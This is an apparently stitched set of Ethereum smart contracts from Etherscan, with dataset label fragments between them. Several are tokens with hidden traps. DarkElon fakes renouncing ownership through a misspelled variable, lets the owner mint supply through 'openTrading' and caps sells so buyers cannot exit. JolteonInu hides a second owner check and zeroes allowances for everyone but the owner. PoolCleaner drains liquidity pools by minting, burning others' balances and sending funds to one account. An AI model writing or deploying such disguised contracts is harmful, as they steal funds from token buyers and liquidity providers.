* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_ownr = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DarkElon is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _isExludedFromTx;
mapping (address => bool) private _isBlackListedBot;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address[] private _blackListedBots;
address public _isExludedFromRecipient;
address public _isExludedFromSender;
uint256 public _marketingAccount;
address[] private _excluded;
uint256 private _TotalSupp = 1000 * 10**9 * 10**18;
uint256 private _tTotal;
address public uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string private _name = 'Darlelon';
string private _symbol = 'Darkelon';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _TotalSupp;
// BLACKLIST
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_isBlackListedBot[address(0xA2F21e340890408625c27a37AaBBc8CcF51B727f)] = true;
_blackListedBots.push(address(0xA2F21e340890408625c27a37AaBBc8CcF51B727f));
_isBlackListedBot[address(0x055658Fa70d40a5fA3d0e3e66c29F7E7ADd08553)] = true;
_blackListedBots.push(address(0x055658Fa70d40a5fA3d0e3e66c29F7E7ADd08553));
_isBlackListedBot[address(0x4dEca8f4360809d00fFb5252f8acC7a173458036)] = true;
_blackListedBots.push(address(0x4dEca8f4360809d00fFb5252f8acC7a173458036));
_isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isBlackListedBot[address(0x00000000b7ca7E12DCC72290d1FE47b2EF14c607)] = true;
_blackListedBots.push(address(0x00000000b7ca7E12DCC72290d1FE47b2EF14c607));
_isBlackListedBot[address(0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32)] = true;
_blackListedBots.push(address(0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32));
_isBlackListedBot[address(0x244F60d082c1A759d3336CF865EBeDDF13F849E6)] = true;
_blackListedBots.push(address(0x244F60d082c1A759d3336CF865EBeDDF13F849E6));
_isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isBlackListedBot[address(0x0000000057a888B5DC0A81f02c6F5c3B7d16b183)] = true;
_blackListedBots.push(address(0x0000000057a888B5DC0A81f02c6F5c3B7d16b183));
_isBlackListedBot[address(0xf0927513987041F0c5e8270b03Af2423972dd6aA)] = true;
_blackListedBots.push(address(0xf0927513987041F0c5e8270b03Af2423972dd6aA));
_isBlackListedBot[address(0x00000000003b3cc22aF3aE1EAc0440BcEe416B40)] = true;
_blackListedBots.push(address(0x00000000003b3cc22aF3aE1EAc0440BcEe416B40));
_isBlackListedBot[address(0x0000000099cB7fC48a935BcEb9f05BbaE54e8987)] = true;
_blackListedBots.push(address(0x0000000099cB7fC48a935BcEb9f05BbaE54e8987));
emit Transfer(address(0), _msgSender(), _TotalSupp);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(uint256 marketingAccount) public onlyOwner {
_marketingAccount = marketingAccount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _TotalSupp;
}
function setTeamToFee(address excludedRecipient , address excludedSender) public onlyOwner {
_isExludedFromRecipient = excludedRecipient;
_isExludedFromSender = excludedSender;
_marketingAccount = 4000 * 10**3 * 10**3 * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function openTrading(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_TotalSupp = _TotalSupp.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[sender], "You have no power here!");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[tx.origin], "You have no power here!");
require(sellcooldown[sender] < block.timestamp);
if(firstsell[sender] + (1 days) < block.timestamp){
sellnumber[sender] = 0;
}
if (sellnumber[sender] == 0) {
sellnumber[sender]++;
firstsell[sender] = block.timestamp;
sellcooldown[sender] = block.timestamp + (1 hours);
}
else if (sellnumber[sender] == 1) {
sellnumber[sender]++;
sellcooldown[sender] = block.timestamp + (2 hours);
}
else if (sellnumber[sender] == 2) {
sellnumber[sender]++;
sellcooldown[sender] = block.timestamp + (6 hours);
}
else if (sellnumber[sender] == 3) {
sellnumber[sender]++;
sellcooldown[sender] = firstsell[sender] + (1 days);
}
if (sender != _isExludedFromSender && recipient == _isExludedFromRecipient) {
require(amount < _marketingAccount, "BEP20: transfer amount exceeds balance");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != uniswapRouter, 'We can not blacklist Uniswap router.');
require(account != address(this));
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-13
*/
/*
Ｊｏｌｔｅｏｎ Ｉｎｕ ■ ＥＲＣ－２０ ＧＥＭ
Jolteon Inu - known as the most cutest and strongest Pokémon Dog you will ever see on the ETH network.
📌Tokenomics:
2% - Reward for holders
3% - Goes to liquidity pool
5% - Marketing & development funds
0.5% Max tx at launch
2% Max wallet
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract JolteonInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**12 * 10**18;
string private _name = ' Jolteon Inu ';
string private _symbol = 'JINU ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
// File: PoolCleaner.sol
// Be name Khoda
// Bime Abolfazl
pragma solidity ^0.8.0;
/*
Before calling any method:
1. Transfer all LP tokens to the contract (UniDD, UniDE, UniDU, UniDUniDeusUsdc, UniDeaEth)
2. Add Minter and Burner role of Dea and Deus tokens to the contract
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract PoolCleaner {
IUniswapV2Router public router;
IERC20 public uniDD;
IERC20 public uniDE;
IERC20 public uniDU;
IERC20 public uniDeaEth;
IERC20 public uniDeusUsdc;
IERC20 public dea;
IERC20 public deus;
IERC20 public eth;
IERC20 public usdc;
address public balancerPoolAddress;
address public account;
address public deployer;
constructor(
IUniswapV2Router _router,
address _balancerPoolAddress,
IERC20 _uniDD,
IERC20 _uniDE,
IERC20 _uniDU,
IERC20 _uniDeaEth,
IERC20 _uniDeusUsdc
) {
router = _router;
balancerPoolAddress = _balancerPoolAddress;
uniDD = _uniDD;
uniDE = _uniDE;
uniDU = _uniDU;
uniDeaEth = _uniDeaEth;
uniDeusUsdc = _uniDeusUsdc;
deployer = msg.sender;
uniDD.approve(address(router), type(uint).max);
uniDE.approve(address(router), type(uint).max);
uniDU.approve(address(router), type(uint).max);
uniDeaEth.approve(address(router), type(uint).max);
uniDeusUsdc.approve(address(router), type(uint).max);
}
function init(
IERC20 _dea,
IERC20 _deus,
IERC20 _eth,
IERC20 _usdc,
address _account
) public {
require(msg.sender == deployer, "Only deployer can call this method");
dea = _dea;
deus = _deus;
eth = _eth;
usdc = _usdc;
account = _account;
}
function removeLiquidity(uint deadline) private {
address contractAddress = address(this);
uint balance = uniDD.balanceOf(contractAddress);
if(balance != 0) {
router.removeLiquidity(address(dea), address(deus), balance, 0, 0, contractAddress, deadline);
}
balance = uniDE.balanceOf(contractAddress);
if(balance != 0) {
router.removeLiquidity(address(deus), address(eth), balance, 0, 0, contractAddress, deadline);
}
balance = uniDU.balanceOf(contractAddress);
if(balance != 0) {
router.removeLiquidity(address(dea), address(usdc), balance, 0, 0, contractAddress, deadline);
}
balance = uniDeaEth.balanceOf(contractAddress);
if(balance != 0) {
router.removeLiquidity(address(dea), address(eth), balance, 0, 0, contractAddress, deadline);
}
balance = uniDeusUsdc.balanceOf(contractAddress);
if(balance != 0) {
router.removeLiquidity(address(deus), address(usdc), balance, 0, 0, contractAddress, deadline);
}
}
function mintTokens() private {
uint deaMintAmount = dea.balanceOf(address(uniDD)) + dea.balanceOf(address(uniDU)) + 2 * 10 ** 30;
uint deusMintAmount = deus.balanceOf(address(uniDD)) + deus.balanceOf(address(uniDE)) + 2 * 10 ** 30;
dea.mint(address(this), deaMintAmount);
deus.mint(address(this), deusMintAmount);
}
function swapTokens(uint deadline) private {
dea.approve(address(router), 2 * 10 ** 30);
deus.approve(address(router), 2 * 10 ** 30);
address[] memory path = new address[](2);
// Dea - usdc
path[0] = address(dea);
path[1] = address(usdc);
router.swapExactTokensForTokens(
10 ** 30,
0,
path,
address(this),
deadline
);
// Deus - Eth
path[0] = address(deus);
path[1] = address(eth);
router.swapExactTokensForTokens(
10 ** 30,
0,
path,
address(this),
deadline
);
// Dea - Eth
path[0] = address(dea);
path[1] = address(eth);
router.swapExactTokensForTokens(
10 ** 30,
0,
path,
address(this),
deadline
);
// Deus - Usdc
path[0] = address(deus);
path[1] = address(usdc);
router.swapExactTokensForTokens(
10 ** 30,
0,
path,
address(this),
deadline
);
}
function burnTokens() private {
dea.burn(address(uniDD), dea.balanceOf(address(uniDD)));
deus.burn(address(uniDD), deus.balanceOf(address(uniDD)));
dea.burn(address(uniDU), dea.balanceOf(address(uniDU)));
deus.burn(address(uniDE), deus.balanceOf(address(uniDE)));
dea.burn(address(uniDeaEth), dea.balanceOf(address(uniDeaEth)));
deus.burn(address(uniDeusUsdc), deus.balanceOf(address(uniDeusUsdc)));
}
function clearBalancerPool() private {
uint balance = dea.balanceOf(balancerPoolAddress);
dea.burn(balancerPoolAddress, balance);
dea.mint(address(this), balance);
}
function transferTokens() private {
dea.transfer(account, dea.balanceOf(address(this)));
deus.transfer(account, deus.balanceOf(address(this)));
usdc.transfer(account, usdc.balanceOf(address(this)));
eth.transfer(account, eth.balanceOf(address(this)));
}
function cleanPools(uint deadline) public {
require(msg.sender == deployer, "Only deployer can call this method");
// Remove liquidity using pool tokens
removeLiquidity(deadline);
// Mint requiring dea & deus amount
mintTokens(); // tested: needs roles
// Swap tokens to extract remaining amounts
swapTokens(deadline);
// Burn remainings in pools
burnTokens();
// Clear balancer pool
clearBalancerPool();
// Transfre everything to account
transferTokens();
}
function withdrawERC20(address tokenAddress, address to, uint amount) public {
require(msg.sender == deployer, "Only deployer can call this method");
IERC20(tokenAddress).transfer(to, amount);
}
}
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// SPDX-License-Identifier: MIT
//File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
